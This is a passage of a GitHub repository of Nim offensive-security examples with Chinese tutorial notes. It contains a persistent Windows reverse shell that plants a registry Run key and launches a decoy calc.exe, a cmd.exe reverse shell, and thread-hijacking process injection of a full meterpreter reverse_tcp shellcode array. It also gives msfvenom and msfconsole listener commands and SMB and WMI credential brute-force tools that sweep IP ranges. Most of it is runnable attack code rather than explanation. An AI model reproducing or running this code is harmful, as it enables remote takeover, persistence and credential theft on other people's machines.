hosts.distribute(division): 74 | for ip in scan_hosts: 75 | spawn ping(ip) 76 | sleep(2) 77 | 78 | sync() 79 | echo "Time taken: ", cpuTime() - time, "s" 80 | 81 | when isMainModule: 82 | when defined windows: 83 | main() -------------------------------------------------------------------------------- /examples/nimNC.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | References: https://github.com/Potato-Industries/nimrs 7 | ]# 8 | 9 | import net, streams, osproc, os, strutils 10 | 11 | let c: Socket = newSocket() 12 | let host = paramStr(1) 13 | let port = paramStr(2).parseInt() 14 | echo "Connected to ",host,":",$port 15 | c.connect(host, Port(port)) 16 | 17 | var p = startProcess("cmd.exe", options={poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) 18 | var input = p.inputStream() 19 | var output = p.outputStream() 20 | 21 | while true: 22 | let cmds: string = c.recvLine() 23 | #Linux/MacOS 24 | #input.writeLine(cmds & ";echo 'DONEDONE'") 25 | #Windows 26 | input.writeLine(cmds & " & echo DONEDONE") 27 | input.flush() 28 | var o: string 29 | while output.readLine(o): 30 | if o == "DONEDONE": 31 | break 32 | c.send(o & "\r\L") -------------------------------------------------------------------------------- /examples/popw.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | type 9 | HANDLE* = int 10 | HWND* = HANDLE 11 | UINT* = int32 12 | WCHAR* = uint16 13 | LPCWSTR* = ptr WCHAR 14 | 15 | var title: array[14,uint16] 16 | title = [72'u16,101'u16,108'u16,108'u16,111'u16,44'u16,32'u16,119'u16,111'u16,114'u16,108'u16,100'u16,32'u16,33'u16] 17 | 18 | var text: array[15,uint16] 19 | text = [78'u16,105'u16,109'u16,32'u16,105'u16,115'u16,32'u16,80'u16,111'u16,119'u16,101'u16,114'u16,102'u16,117'u16,108'u16] 20 | 21 | proc MessageBox*(hWnd: HWND, lpText: LPCWSTR, lpCaption: LPCWSTR, uType: UINT): int32 22 | {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxW".} 23 | 24 | MessageBox(0, addr text[0], addr title[0], 0) -------------------------------------------------------------------------------- /examples/reverse.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | Referer: https://github.com/1captainnemo1/PersistentCReverseShell 7 | ]# 8 | #import os, strutils 9 | 10 | when not defined(c): 11 | {.error: "Must be compiled in c mode"} 12 | 13 | {.emit: """ 14 | // AUTHOR : #Captain_Nemo 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | 21 | #pragma comment(lib, "Ws2_32.lib") 22 | #define DEF_BUFF 2048 23 | 24 | void rsh(char* server, int Port) 25 | { 26 | while(1) 27 | { 28 | 29 | 30 | WSADATA wsaData; 31 | SOCKET Winsock; 32 | struct sockaddr_in address; 33 | char Rec_dat[DEF_BUFF]; 34 | STARTUPINFO process_startup; 35 | PROCESS_INFORMATION p_info; 36 | 37 | WSAStartup(MAKEWORD(2,2), &wsaData); 38 | Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL); 39 | 40 | 41 | address.sin_family = AF_INET; 42 | address.sin_port = htons(Port); 43 | address.sin_addr.s_addr =inet_addr(server); 44 | 45 | WSAConnect(Winsock,(SOCKADDR*)&address, sizeof(address),NULL,NULL,NULL,NULL); 46 | if (WSAGetLastError() == 0) 47 | { 48 | 49 | memset(&process_startup, 0, sizeof(process_startup)); 50 | //char proc[] = "cmd.exe"; 51 | char proc[] = "powershell.exe -WindowStyle Hidden"; 52 | process_startup.cb=sizeof(process_startup); 53 | process_startup.dwFlags=STARTF_USESTDHANDLES; 54 | process_startup.hStdInput = process_startup.hStdOutput = process_startup.hStdError = (HANDLE)Winsock; 55 | CreateProcess(NULL, proc, NULL, NULL, TRUE, 0, NULL, NULL, &process_startup, &p_info); 56 | // WaitForSingleObject(p_info.hProcess, INFINITE); 57 | // CloseHandle(p_info.hProcess); 58 | // CloseHandle(p_info.hThread); 59 | //memset(Rec_dat, 0, sizeof(Rec_dat)); 60 | //int Rec_code = recv(Winsock, Rec_dat, DEF_BUFF, 0); 61 | // if (Rec_code <= 0) 62 | // { 63 | // closesocket(Winsock); 64 | // WSACleanup(); 65 | // continue; 66 | // } // end if 67 | // if (strcmp(Rec_dat, "exit\n") == 0) 68 | //{ 69 | exit(0); 70 | } // end if 71 | exit(0); 72 | } // end while 73 | } // end function rsh 74 | //int PersistentCReverseShell(char *h, int p) 75 | int PersistentCReverseShell() 76 | { 77 | char h[] = "172.20.10.4"; 78 | int p = 8080; 79 | system("start C:\\WINDOWS\\System32\\calc.exe"); // fire decoy 80 | system("cmd /c copy .\\reverse.exe %appdata%"); // copy malware to appdata 81 | system("cmd /c REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /V \"Secure\" /t REG_SZ /F /D \"%appdata%\\reverse.exe"); //add registry persistence 82 | rsh(h, p); // call rsh function 83 | return 0; 84 | } // end main 85 | """.} 86 | #proc PersistentCReverseShell(ip: cstring, port: int): int 87 | proc PersistentCReverseShell(): int 88 | {.importc: "PersistentCReverseShell", nodecl.} 89 | 90 | when isMainModule: 91 | discard PersistentCReverseShell() 92 | #discard PersistentCReverseShell(paramStr(1), parseInt(paramStr(2))) -------------------------------------------------------------------------------- /examples/shellcodeRun.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/examples/shellcodeRun.exe -------------------------------------------------------------------------------- /examples/simpleHttp.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | import jester, asyncdispatch, os, strutils 8 | from net import Port 9 | 10 | var listenPort = 80 11 | if paramCount() > 0: 12 | listenPort = paramStr(1).parseInt() 13 | 14 | settings: 15 | port = Port(listenPort) 16 | appName = "/" 17 | 18 | proc match(request: Request): Future[ResponseData] {.async.} = 19 | block route: 20 | case request.pathInfo 21 | of "/": 22 | var html = "" 23 | for file in walkFiles("*.*"): 24 | html.add "
  • " & file & "
  • " 25 | resp(html) 26 | 27 | else: 28 | var filename = joinPath(getCurrentDir(), request.pathInfo) 29 | if fileExists(filename): 30 | sendFile(filename) 31 | else: 32 | resp Http404, "404 Not found!" 33 | 34 | try: 35 | var server = initJester(match, settings) 36 | server.serve() 37 | except: 38 | echo getCurrentException().msg 39 | 40 | -------------------------------------------------------------------------------- /examples/smblogin.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/examples/smblogin.exe -------------------------------------------------------------------------------- /examples/smblogin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | 8 | import SMBExec 9 | import SMBExec/HelpUtil 10 | import strformat 11 | import nimpy 12 | import os 13 | import strutils 14 | import net 15 | 16 | let logFilename = "smbLogin.log" 17 | var logFile: File 18 | logFile = open(logFilename, fmAppend) 19 | 20 | proc telnet(host: string): bool = 21 | var socket = newSocket() 22 | try: 23 | socket.connect(host, Port(445), timeout=2000) 24 | return true 25 | except: 26 | printC Error, fmt"{host}:445 close smb" 27 | return false 28 | finally: 29 | socket.close() 30 | 31 | proc ipParser(somestr: string): seq[string] = 32 | var ipaddress = pyImport("ipaddress") 33 | var nodes: seq[string] 34 | if fileExists(somestr): 35 | for line in somestr.lines: 36 | nodes.add(line) 37 | else: 38 | nodes.add(somestr.split(',')) 39 | 40 | for node in nodes: 41 | try: 42 | let net4 = ipaddress.ip_network(node, strict=false) 43 | if net4.num_addresses.to(int) > 1: 44 | for x in net4.hosts(): 45 | result.add($x) 46 | else: 47 | let ip = ipaddress.ip_address(node) 48 | result.add($ip) 49 | except: 50 | #somestr does not appear to be an IPv4 or IPv6 network 51 | #echo getCurrentExceptionMsg() 52 | discard 53 | 54 | proc smbPlainLogin(host, domain, user, pass: string) = 55 | let nthash = toNTLMHash(pass) 56 | try: 57 | var smb = newSMB2(host, domain, user, nthash) 58 | let response = smb.connectTest() 59 | if response: 60 | printC Success, fmt"{host} - '{user}':'{pass}' Successfully logged on!" 61 | logFile.writeLine(fmt"{host} - '{user}':'{pass}' Successfully logged on!") 62 | else: 63 | printC Error, fmt"{host} - '{user}':'{pass}' Login failed" 64 | smb.close() 65 | except: 66 | echo getCurrentExceptionMsg() 67 | 68 | proc smbHashLogin(host, domain, user, nthash: string) = 69 | var smb = newSMB2(host, domain, user, nthash) 70 | let response = smb.connectTest() 71 | if response: 72 | printC Success, fmt"{host} - '{user}':'{nthash}' Successfully logged on!" 73 | logFile.writeLine(fmt"{host} - '{user}':'{nthash}' Successfully logged on!") 74 | else: 75 | printC Error, fmt"{host} - '{user}':'{nthash}' Login failed" 76 | smb.close() 77 | 78 | proc main() = 79 | if paramCount() < 2: 80 | let pathSplit = splitPath(paramStr(0)) 81 | echo "Usage: ", pathSplit.tail, " plain", " 10.10.10.0/24" 82 | echo "Usage: ", pathSplit.tail, " hash", " 10.10.10.0/24" 83 | echo "Usage: ", pathSplit.tail, " plain", " ip.txt" 84 | quit() 85 | 86 | let mode = paramStr(1) 87 | let hosts = ipParser(paramStr(2)) 88 | 89 | if toLowerAscii(mode) notin ["hash","plain"]: 90 | echo "Only plain password or nthash authentication is supported" 91 | quit() 92 | 93 | if fileExists("userpass.txt"): 94 | var credential: tuple[user, pass: string] 95 | var userpass: seq[tuple[user, pass: string]] 96 | try: 97 | for line in "userpass.txt".lines: 98 | let t = split(line, " ", 1) 99 | credential.user = t[0] 100 | credential.pass = t[1] 101 | userpass.add(credential) 102 | except: 103 | echo getCurrentExceptionMsg() 104 | quit() 105 | 106 | if toLowerAscii(mode) == "plain": 107 | for host in hosts: 108 | if telnet(host): 109 | for credential in userpass: 110 | smbPlainLogin(host, ".", credential.user, credential.pass) 111 | 112 | if toLowerAscii(mode) == "hash": 113 | for host in hosts: 114 | if telnet(host): 115 | for credential in userpass: 116 | smbHashLogin(host, ".", credential.user, credential.pass) 117 | 118 | elif fileExists("user.txt") and fileExists("pass.txt"): 119 | var users: seq[string] 120 | var passes: seq[string] 121 | for line in "user.txt".lines: 122 | users.add(line) 123 | for line in "pass.txt".lines: 124 | passes.add(line) 125 | 126 | if toLowerAscii(mode) == "plain": 127 | for host in hosts: 128 | if telnet(host): 129 | for user in users: 130 | for pass in passes: 131 | smbPlainLogin(host, ".", user, pass) 132 | 133 | if toLowerAscii(mode) == "hash": 134 | for host in hosts: 135 | if telnet(host): 136 | for user in users: 137 | for pass in passes: 138 | smbHashLogin(host, ".", user, pass) 139 | else: 140 | echo "userpass.txt not found" 141 | echo "user.txt or pass.txt not found" 142 | quit() 143 | 144 | logFile.close() 145 | when isMainModule: 146 | when defined windows: 147 | main() -------------------------------------------------------------------------------- /examples/sqlite3_64.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/examples/sqlite3_64.dll -------------------------------------------------------------------------------- /examples/subname.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/examples/subname.exe -------------------------------------------------------------------------------- /examples/subname.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404 5 | License: BSD 3-Clause 6 | ]# 7 | import ndns, os, net, strutils, times 8 | 9 | proc resolveIpv4A(client: DnsClient, domain: string): seq[string] = 10 | let header = initHeader(randId(), rd = true) 11 | let question = initQuestion(domain, QType.A, QClass.IN) 12 | let msg = initMessage(header, @[question]) 13 | try: 14 | var rmsg = dnsQuery(client, msg, timeout = 2000) 15 | 16 | if rmsg.header.flags.rcode == RCode.NoError: 17 | for rr in rmsg.answers: 18 | try: 19 | let ip = IpAddress(family: IpAddressFamily.IPv4, address_v4: RDataA(rr.rdata).address) 20 | result.add($ip) 21 | except: 22 | discard 23 | #echo getCurrentExceptionMsg() 24 | #else: 25 | # echo "*** UnKnown can't find {domain}: Non-existent domain" 26 | except: 27 | #Response timeout has been reached 28 | discard 29 | 30 | proc main() = 31 | if paramCount() < 3: 32 | let pathSplit = splitPath(paramStr(0)) 33 | echo "Usage: ", pathSplit.tail, " names.txt", " cnblogs.com", " 8.8.8.8" 34 | quit(-1) 35 | 36 | let time = cpuTime() 37 | let filename = paramStr(1) 38 | let topDomain = paramStr(2) 39 | let dnsServer = paramStr(3) 40 | 41 | if fileExists(paramStr(0)): 42 | let client = initDnsClient(dnsServer) 43 | for name in filename.lines: 44 | let domain = name & "." & topDomain 45 | let outp = resolveIpv4A(client, domain) 46 | if outp.len() > 0: 47 | echo domain, " => ", join(outp, ",") 48 | echo "Time taken: ", cpuTime() - time, "s" 49 | 50 | when isMainModule: 51 | main() -------------------------------------------------------------------------------- /examples/wmiLogin.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: StudyCat 3 | Blog: https://www.cnblogs.com/studycat 4 | Github: https://github.com/StudyCat404/myNimExamples 5 | License: BSD 3-Clause 6 | ]# 7 | import winim/com 8 | import os 9 | import strutils 10 | import strformat 11 | import terminal 12 | import net 13 | import winim/inc/winnls 14 | import threadpool 15 | import ip_seg 16 | import times 17 | 18 | let time = cpuTime() 19 | 20 | type 21 | STATUS* = enum 22 | Error, Success, Info 23 | 24 | proc printC(stat: STATUS, text: string) = 25 | case stat 26 | of Error: 27 | stdout.styledWrite(fgRed, "[-] ") 28 | of Success: 29 | stdout.styledWrite(fgGreen, "[+] ") 30 | of Info: 31 | stdout.styledWrite(fgYellow, "[*] ") 32 | echo text 33 | 34 | proc log(content: string) = 35 | echo content 36 | let logFilename = "wmiLogin.log" 37 | var logFile: File 38 | logFile = open(logFilename, fmAppend) 39 | logFile.writeLine(content) 40 | logFile.close() 41 | 42 | proc telnet(host: string): bool = 43 | var socket = newSocket() 44 | try: 45 | socket.connect(host, Port(135), timeout=2000) 46 | return true 47 | except: 48 | #printC Error, fmt"{host}:135 close rpc" 49 | echo fmt"{host}:135 close rpc" 50 | return false 51 | finally: 52 | socket.close() 53 | 54 | proc ipParser(somestr: string): seq[string] = 55 | var nodes: seq[string] 56 | if fileExists(somestr): 57 | for line in somestr.lines: 58 | nodes.add(line) 59 | else: 60 | nodes.add(somestr.split(',')) 61 | 62 | for node in nodes: 63 | if isIpAddress(node): 64 | result.add(node) 65 | elif node.contains("-"): 66 | let 67 | range1 = node.split("-")[0] 68 | range2 = node.split("-")[1] 69 | if isIpAddress(range1) and isIpAddress(range2): 70 | result.add(calc_range(range1, range2)) 71 | elif node.contains("/"): 72 | result.add(calc_range(node)) 73 | else: 74 | echo "Fomat error: ", node 75 | if result.len() > 0: 76 | return result 77 | else: 78 | quit(-1) 79 | 80 | 81 | proc wmiLogin(host, user, pass: string) {.thread.} = {.cast(gcsafe).}: 82 | var objLocator = CreateObject("wbemscripting.swbemlocator") 83 | var 84 | errorMsgA, errorMsgB, errorMsgC: string 85 | if GetSystemDefaultLangID() == 2052: 86 | errorMsgA = "SWbemLocator: RPC 服务器不可用。" 87 | errorMsgB = "SWbemLocator: 用户凭据不能用于本地连接" 88 | errorMsgC = "SWbemLocator: 拒绝访问。" 89 | elif GetSystemDefaultLangID() == 1033: 90 | errorMsgA = "SWbemLocator: The RPC server is unavailable." 91 | errorMsgB = "SWbemLocator: User credentials cannot be used for local connections" 92 | errorMsgC = "SWbemLocator: Access is denied." 93 | else: 94 | quit("Language identifier: " & $GetSystemDefaultLangID()) 95 | 96 | try: 97 | var SubobjSWbemServices = objLocator.connectServer(host, "root\\cimv2", user, pass, "MS_409", "", 128) 98 | discard SubobjSWbemServices.InstancesOf("Win32_Service") 99 | log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!" ) 100 | except: 101 | if strip(getCurrentException().msg) == errorMsgA or strip(getCurrentException().msg) == errorMsgB: 102 | log(fmt"[+] {host} - '{user}':'{pass}' Successfully logged on!") 103 | else: 104 | #"SWbemLocator: 拒绝访问。" 105 | echo fmt"[-] {host} - '{user}':'{pass}' Login failed" 106 | 107 | proc doWmiLogin(host: string, userpass: seq[tuple[user, pass: string]]) {.thread.} = 108 | if telnet(host): 109 | for credential in userpass: 110 | wmiLogin(host, credential.user, credential.pass) 111 | 112 | proc doWmiLogin(host: string, users, passes: seq[string]) {.thread.} = 113 | if telnet(host): 114 | for user in users: 115 | for pass in passes: 116 | wmiLogin(host, user, pass) 117 | 118 | proc main() = 119 | if paramCount() == 0 or paramStr(1) in ["-h","/?","help"]: 120 | let pathSplit = splitPath(paramStr(0)) 121 | echo "Usage: ", pathSplit.tail, " 192.168.1.111" 122 | echo "Usage: ", pathSplit.tail, " 10.10.10.0/24" 123 | echo "Usage: ", pathSplit.tail, " 172.10.1.1-172.10.8.254" 124 | echo "Usage: ", pathSplit.tail, " 192.168.1.111,10.10.0.0/23" 125 | echo "Usage: ", pathSplit.tail, " ip.txt" 126 | quit() 127 | 128 | let hosts = ipParser(paramStr(1)) 129 | 130 | if fileExists("userpass.txt"): 131 | var credential: tuple[user, pass: string] 132 | var userpass: seq[tuple[user, pass: string]] 133 | try: 134 | for line in "userpass.txt".lines: 135 | let t = split(line, " ", 1) 136 | credential.user = t[0] 137 | credential.pass = t[1] 138 | userpass.add(credential) 139 | except: 140 | echo getCurrentExceptionMsg() 141 | quit() 142 | 143 | for host in hosts: 144 | spawn doWmiLogin(host,userpass) 145 | 146 | elif fileExists("user.txt") and fileExists("pass.txt"): 147 | var users: seq[string] 148 | var passes: seq[string] 149 | for line in "user.txt".lines: 150 | users.add(line) 151 | for line in "pass.txt".lines: 152 | passes.add(line) 153 | 154 | for host in hosts: 155 | spawn doWmiLogin(host, users, passes) 156 | 157 | else: 158 | echo "userpass.txt not found" 159 | echo "user.txt or pass.txt not found" 160 | quit() 161 | 162 | sync() 163 | echo "Time taken: ", cpuTime() - time, "s" 164 | 165 | when isMainModule: 166 | when defined windows: 167 | main() 168 | -------------------------------------------------------------------------------- /images/mping.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/StudyCat404/myNimExamples/27653a6afa4fa7e50d2a359844c8c6eace27608c/images/mping.PNG -------------------------------------------------------------------------------- /injecting-to-remote-process-via-thread-hijacking.md: -------------------------------------------------------------------------------- 1 | # Injecting to Remote Process via Thread Hijacking 2 | ## metasploit 3 | 监听 metasplit 4 | ``` 5 | msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit" 6 | ``` 7 | 生成 shellcode 8 | ``` 9 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f csharp 10 | ``` 11 | 其他命令 12 | ``` 13 | msfvenom -l payloads | grep reverse_tcp 14 | msfvenom -p windows/x64/meterpreter/reverse_tcp --list-options 15 | ``` 16 | ## poc.nim 17 | ``` 18 | import winim 19 | 20 | proc myThread(shellcode: openArray[byte]) = 21 | var targetProcessHandle: HANDLE 22 | var remoteBuffer: PVOID 23 | var threadHijacked: HANDLE 24 | var snapshot: HANDLE 25 | var threadEntry: THREADENTRY32 26 | var context: CONTEXT 27 | #(Start-Process notepad -PassThru).id 28 | var targetPID: DWORD = 19512 29 | context.ContextFlags = CONTEXT_FULL 30 | #threadEntry.dwSize = sizeof(THREADENTRY32).int32 31 | #threadEntry.dwSize = int32(sizeof(THREADENTRY32)) 32 | threadEntry.dwSize = cast[DWORD](sizeof(THREADENTRY32)) 33 | 34 | targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPID) 35 | 36 | remoteBuffer = VirtualAllocEx(targetProcessHandle, NULL, len(shellcode), MEM_RESERVE or MEM_COMMIT, PAGE_EXECUTE_READWRITE) 37 | 38 | WriteProcessMemory(targetProcessHandle, remoteBuffer, unsafeAddr shellcode, len(shellcode), NULL) 39 | 40 | snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0) 41 | Thread32First(snapshot, &threadEntry) 42 | #Thread32First(snapshot, addr threadEntry) 43 | 44 | while Thread32Next(snapshot, &threadEntry): 45 | if threadEntry.th32OwnerProcessID == targetPID: 46 | threadHijacked = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID) 47 | echo threadEntry.th32ThreadID 48 | break 49 | 50 | SuspendThread(threadHijacked) 51 | 52 | GetThreadContext(threadHijacked, &context) 53 | context.Rip = cast[DWORD_PTR](remoteBuffer) 54 | SetThreadContext(threadHijacked, &context) 55 | 56 | ResumeThread(threadHijacked) 57 | 58 | when defined(windows): 59 | when defined(amd64): 60 | #msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f csharp, then modified for Nim arrays 61 | echo "[*] Running in x64 process" 62 | var shellcode: array[510, byte] = [ 63 | byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8, 64 | 0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31, 65 | 0xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48, 66 | 0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50, 67 | 0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c, 68 | 0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41, 69 | 0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66, 70 | 0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b, 71 | 0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01, 72 | 0xd0,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0x8b,0x48,0x18, 73 | 0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88, 74 | 0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41, 75 | 0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45, 76 | 0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0, 77 | 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0, 78 | 0x41,0x8b,0x04,0x88,0x41,0x58,0x48,0x01,0xd0,0x41,0x58,0x5e, 79 | 0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20, 80 | 0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9, 81 | 0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33, 82 | 0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0, 83 | 0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb, 84 | 0xc0,0xa8,0x00,0x65,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1, 85 | 0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68, 86 | 0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff, 87 | 0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31, 88 | 0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89, 89 | 0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7, 90 | 0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba, 91 | 0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff, 92 | 0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10, 93 | 0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89, 94 | 0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00, 95 | 0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41, 96 | 0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48, 97 | 0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89, 98 | 0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89, 99 | 0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5, 100 | 0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40, 101 | 0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f, 102 | 0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff, 103 | 0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3, 104 | 0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58, 105 | 0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5] 106 | 107 | # This is essentially the equivalent of 'if __name__ == '__main__' in python 108 | when isMainModule: 109 | myThread(shellcode) 110 | ``` 111 | ## 编译错误 112 | ### 第一个错误 113 | 报错信息: 114 | Error: type mismatch: got 'int' for '28' but expected 'DWORD = int32' 115 | 数字类型转换通过使用类型来执行: 116 | ``` 117 | var 118 | x: int32 = 1.int32 # 与调用int32(1)相同 119 | ``` 120 | 原来 C 语言的写法 121 | ``` 122 | threadEntry.dwSize = sizeof(THREADENTRY32) 123 | ``` 124 | nim 语言的写法 125 | ``` 126 | threadEntry.dwSize = sizeof(THREADENTRY32).int32 127 | #或者 128 | threadEntry.dwSize = int32(sizeof(THREADENTRY32)) 129 | #或者 130 | threadEntry.dwSize = cast[DWORD](sizeof(THREADENTRY32)) 131 | ``` 132 | ### 第二个错误 133 | ``` 134 | Error: undeclared field: 'Rip=' for type windef.CONTEXT [type declared in C:\Users\user\.nimble\pkgs\winim-3.9.0\winim\inc\windef.nim(547, 5)] 135 | ``` 136 | RIP是x64下指令指针寄存器,所以应该这样编译 137 | ``` 138 | nim c --cpu:amd64 -r poc.nim 139 | ``` 140 | ## 引用 141 | ``` 142 | https://www.ired.team/offensive-security/code-injection-process-injection/injecting-to-remote-process-via-thread-hijacking 143 | ``` -------------------------------------------------------------------------------- /nim 反弹 shell(nim学习系列).md: -------------------------------------------------------------------------------- 1 | # nim 反弹 shell(nim学习系列) 2 | 3 | ## 反弹 netcat shell 4 | 5 | netcat 监听: 6 | 7 | nc -vv -l -p 80 8 | 9 | nimNC 反弹shell: 10 | 11 | nimNC 172.20.10.4 80 12 | 13 | ### 源代码 nimNC.nim 14 | 15 | ``` nimNC.nim 16 | #[ 17 | Author: StudyCat 18 | Blog: https://www.cnblogs.com/studycat 19 | Github: https://github.com/StudyCat404/myNimExamples 20 | License: BSD 3-Clause 21 | References: https://github.com/Potato-Industries/nimrs 22 | ]# 23 | 24 | import net, streams, osproc, os, strutils 25 | 26 | let c: Socket = newSocket() 27 | let host = paramStr(1) 28 | let port = paramStr(2).parseInt() 29 | echo "Connected to ",host,":",$port 30 | c.connect(host, Port(port)) 31 | 32 | var p = startProcess("cmd.exe", options={poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon}) 33 | var input = p.inputStream() 34 | var output = p.outputStream() 35 | 36 | while true: 37 | let cmds: string = c.recvLine() 38 | #Linux/MacOS 39 | #input.writeLine(cmds & ";echo 'DONEDONE'") 40 | #Windows 41 | input.writeLine(cmds & " & echo DONEDONE") 42 | input.flush() 43 | var o: string 44 | while output.readLine(o): 45 | if o == "DONEDONE": 46 | break 47 | c.send(o & "\r\L") 48 | ``` 49 | 50 | ## 反弹 msf shell 51 | 52 | 与反弹 netcat shell 同理,msf 监听: 53 | 54 | use multi/handler 55 | 56 | set payload windows/shell_reverse_tcp 57 | 58 | set lhost 172.20.10.4 59 | 60 | set lport 80 61 | 62 | run 63 | 64 | ## 反弹 msf meterpreter shell 65 | 66 | ### msf 监听: 67 | 68 | use multi/handler 69 | set payload windows/x64/meterpreter/reverse_tcp 70 | set lhost 172.20.10.4 71 | set lport 80 72 | run 73 | 74 | ### 生成 shellcode 75 | 76 | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=80 -f csharp 77 | 78 | 将生成的shellcode 语法改成 nim 的。 79 | 80 | 参考: 